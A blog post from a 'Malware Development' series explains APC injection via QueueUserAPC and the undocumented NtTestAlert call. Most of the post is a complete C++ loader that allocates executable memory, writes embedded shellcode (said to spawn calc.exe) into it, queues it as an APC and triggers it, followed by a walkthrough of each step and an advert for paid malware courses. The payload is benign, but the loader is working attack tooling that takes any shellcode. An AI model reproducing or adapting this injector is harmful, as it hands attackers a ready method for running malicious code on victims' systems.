Malware Development Part 12: APC Injection Via NtTestAlert

RED TEAM
7 min read1 day ago

--

“Precision Payload: Exploring APC Injection via NtTestAlert”

Hello everyone,

Today, we’ll delve into the fascinating world of APC (Asynchronous Procedure Call) Injection using the NtTestAlert technique. This method leverages an officially undocumented Native API, NtTestAlert, alongside the Win32 API QueueUserAPC to execute shellcode within a local process. Let’s unravel the mechanics behind this advanced approach.

Malforge Group Update

Before we dive into this blog, I want to share some exciting updates about my Malforge Group startup. First off, I deeply appreciate your patience and support throughout this journey.

I’m thrilled to announce that the website is almost ready — 90% complete — and we’re planning to launch it on New Year’s Day! The Cloud Architect, DevOps, and Terraform courses are fully developed and polished, while the Cybersecurity and Malware Development courses are currently undergoing final refinements.

The delay is due to a temporary shortage of professional team members handling multiple tasks, but rest assured, we’re working diligently to ensure everything is ready soon. Thank you for your continued support — it means the world to us!

Our Mission: Beyond Education, Beyond Boundaries

What is NtTestAlert?

NtTestAlert is a system call intrinsic to the Windows alert mechanism. It plays a pivotal role in the execution of pending APCs (Asynchronous Procedure Calls) queued for a thread. Before a thread begins executing its assigned Win32 start address, it invokes NtTestAlert to process any APCs awaiting execution.

This makes NtTestAlert highly significant in advanced APC injection techniques used in Windows programming and cybersecurity research. Below, we’ll explore its importance and role in facilitating this injection mechanism.

Why NtTestAlert Matters in APC Injection

In the context of injecting malicious or test code into another process, NtTestAlert offers three key functionalities:

  1. Triggering the Alert Mechanism:
    NtTestAlert belongs to the Native API (found in Ntdll.dll), which helps manage a thread’s alert state. This function is crucial for delivering and executing APCs, ensuring the success of the injection process.
  2. Ensuring Thread Alertability:
    For an APC to execute, the target thread must be in an “alertable” state. By invoking NtTestAlert, we can force a thread into this alertable condition, enabling queued APCs to run seamlessly.
  3. Facilitating Code Injection:
    NtTestAlert is strategically employed during APC injection to:
  • Activate a thread’s alertable state.
  • Prompt the execution of queued APCs.
  • Execute shellcode or other injected code within the target process context.

Putting It Together: The Role of NtTestAlert in APC Injection

  • Win32 API: The process starts with QueueUserAPC, which queues a procedure (like malicious shellcode) for execution in the context of a target thread.
  • NtTestAlert: Before the thread begins its normal operation, NtTestAlert ensures any pending APCs are processed, effectively running the injected code.

Let’s move to the practical knowledge :

Practical 1:

#include <windows.h>
#include <iostream>
#include <vector>
#include <memory>

// Custom exception for error handling
class InjectionException : public std::exception {
private:
std::string message;
public:
InjectionException(const std::string& msg) : message(msg) {}
const char* what() const noexcept override { return message.c_str(); }
};

// Function type definitions
using NtTestAlertFunc = NTSTATUS(NTAPI*)();

class PayloadInjector {
private:
// Shellcode payload - spawns calc.exe
std::vector<unsigned char> payload = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};

LPVOID payloadMemory;
HANDLE currentProcess;
HANDLE currentThread;
NtTestAlertFunc NtTestAlert;

void resolveAPIs() {
HMODULE hNtdll = GetModuleHandleA("ntdll");
if (!hNtdll) {
throw InjectionException("Failed to get handle to ntdll.dll");
}

NtTestAlert = reinterpret_cast<NtTestAlertFunc>(
GetProcAddress(hNtdll, "NtTestAlert")
);
if (!NtTestAlert) {
throw InjectionException("Failed to resolve NtTestAlert function");
}
}

void allocateMemory() {
payloadMemory = VirtualAlloc(
nullptr,
payload.size(),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!payloadMemory) {
throw InjectionException("Failed to allocate memory for payload");
}
}

void writePayload() {
SIZE_T bytesWritten;
if (!WriteProcessMemory(
GetCurrentProcess(),
payloadMemory,
payload.data(),
payload.size(),
&bytesWritten
) || bytesWritten != payload.size()) {
throw InjectionException("Failed to write payload to memory");
}
}

void queueAPC() {
PTHREAD_START_ROUTINE apcRoutine = reinterpret_cast<PTHREAD_START_ROUTINE>(payloadMemory);
if (!QueueUserAPC(
reinterpret_cast<PAPCFUNC>(apcRoutine),
GetCurrentThread(),
0
)) {
throw InjectionException("Failed to queue APC");
}
}

public:
PayloadInjector() {
currentProcess = GetCurrentProcess();
currentThread = GetCurrentThread();
}

void inject() {
try {
resolveAPIs();
allocateMemory();
writePayload();
queueAPC();

// Execute APC
NTSTATUS status = NtTestAlert();
if (status != 0) {
throw InjectionException("NtTestAlert failed");
}
} catch (const InjectionException& e) {
std::cerr << "Injection failed: " << e.what() << std::endl;
cleanup();
throw;
}
}

void cleanup() {
if (payloadMemory) {
VirtualFree(payloadMemory, 0, MEM_RELEASE);
payloadMemory = nullptr;
}
}

~PayloadInjector() {
cleanup();
}
};

int main() {
try {
std::unique_ptr<PayloadInjector> injector = std::make_unique<PayloadInjector>();
injector->inject();
std::cout << "Injection successful" << std::endl;
return EXIT_SUCCESS;
} catch (const std::exception& e) {
std::cerr << "Error: " << e.what() << std::endl;
return EXIT_FAILURE;
}
}

The provided code is an implementation of Asynchronous Procedure Call (APC)-based process injection in C++.

Objective

The main goal of this code is to inject and execute a payload (a shellcode) into the current thread’s address space using the APC mechanism. Specifically:

  1. Allocate memory for shellcode: Memory is allocated in the current process where the payload (shellcode) will reside.
  2. Write shellcode into allocated memory: The shellcode, which spawns calc.exe, is written to this allocated memory.
  3. Queue an APC to execute the shellcode: The APC mechanism is used to schedule the execution of the shellcode.
  4. Trigger the APC execution: The NtTestAlert function is used to trigger the queued APC, thereby executing the shellcode.

Core Parts of the Code

1. Shellcode (Payload):

  • The payload vector contains raw shellcode bytes that, when executed, will spawn the calc.exe process.
  • This payload is directly written into memory and executed later.

2. Core Classes and Functions:

PayloadInjector class:

  • Manages the injection workflow.
  • Handles memory allocation, payload writing, and APC queuing.
  • Resolves necessary Windows API functions for execution.

Key Methods:

  • resolveAPIs(): Retrieves the address of the NtTestAlert function from ntdll.dll.
  • allocateMemory(): Allocates executable memory for the payload using VirtualAlloc.
  • writePayload(): Copies the shellcode into the allocated memory using WriteProcessMemory.
  • queueAPC(): Schedules the payload for execution by queuing it as an APC routine.
  • cleanup(): Releases allocated memory during cleanup or in case of failure.

inject() Function:

  • Combines all the steps to perform the injection.
  • Executes the APC queue using NtTestAlert.

3. Exception Handling:

  • The InjectionException class handles and reports errors during different stages of the injection process, ensuring proper cleanup and error messages.

4. APC Mechanism:

  • An APC is a function that can be scheduled to execute in the context of a specific thread.
  • This code uses QueueUserAPC to schedule the shellcode execution and NtTestAlert to trigger the APC.

Workflow and Functionality

Step-by-Step Execution

  1. Initialization:
  • The PayloadInjector object is instantiated, setting up internal handles (currentProcess, currentThread) for the current process and thread.

2. Resolving APIs:

  • resolveAPIs():
  • Retrieves the handle to ntdll.dll.
  • Resolves the address of NtTestAlert, which is a low-level system function used to trigger APC execution.

3. Memory Allocation:

  • allocateMemory():
  • Allocates executable and writable memory (PAGE_EXECUTE_READWRITE) in the process's address space for the payload.
  • If memory allocation fails, an exception is thrown.

4. Writing the Payload:

  • writePayload():
  • Copies the shellcode from the payload vector into the allocated memory.
  • Uses WriteProcessMemory to perform the memory write operation.

5. Queueing the APC:

  • queueAPC():
  • Schedules the shellcode as an APC routine using QueueUserAPC.
  • The payloadMemory pointer is cast to PTHREAD_START_ROUTINE and added to the APC queue of the current thread.

6. Executing the APC:

  • NtTestAlert():
  • Forces the current thread to execute the queued APC routine.
  • If successful, the shellcode is executed, spawning calc.exe.

7. Cleanup:

  • If any errors occur during the process, cleanup() releases the allocated memory to avoid memory leaks.
  • The destructor of PayloadInjector ensures cleanup upon object destruction.

Key Execution Flow in main():

  1. The PayloadInjector object is created using std::make_unique.
  2. The inject() method is called to perform the injection.
  3. On success, “Injection successful” is printed; otherwise, error messages are displayed.

Let’s go to compile our code:

Now execute the compile apc_V2.exe :

I hope guys you like this blog and learn something new and by following the above steps you will also able to do this practical in your system : )

More Basics to Advanced techniques we will gonna cover in our Malware Development Courses , Pre-register now to secure your spot and receive an exclusive discount on your chosen industry training courses! Complete our Google Form to indicate your interest, and enjoy early access benefits when courses launch.

Google Form: Use either of the two links below to fill out the form.

  1. https://docs.google.com/forms/d/e/1FAIpQLSdBYStywoNG7LcLsgNGhxiQ7TeGTLulfC05kGGjf0PlWI4JaQ/viewform?usp=sf_link

2. https://forms.gle/9dn58yuJPQZTdmsf6

RED TEAM

--

--

RED TEAM
RED TEAM

Written by RED TEAM

I'm a 19-year-old malware developer with 1 year of experience. Passionate about learning new techniques, sharing knowledge, and creating malware tools.

Responses (1)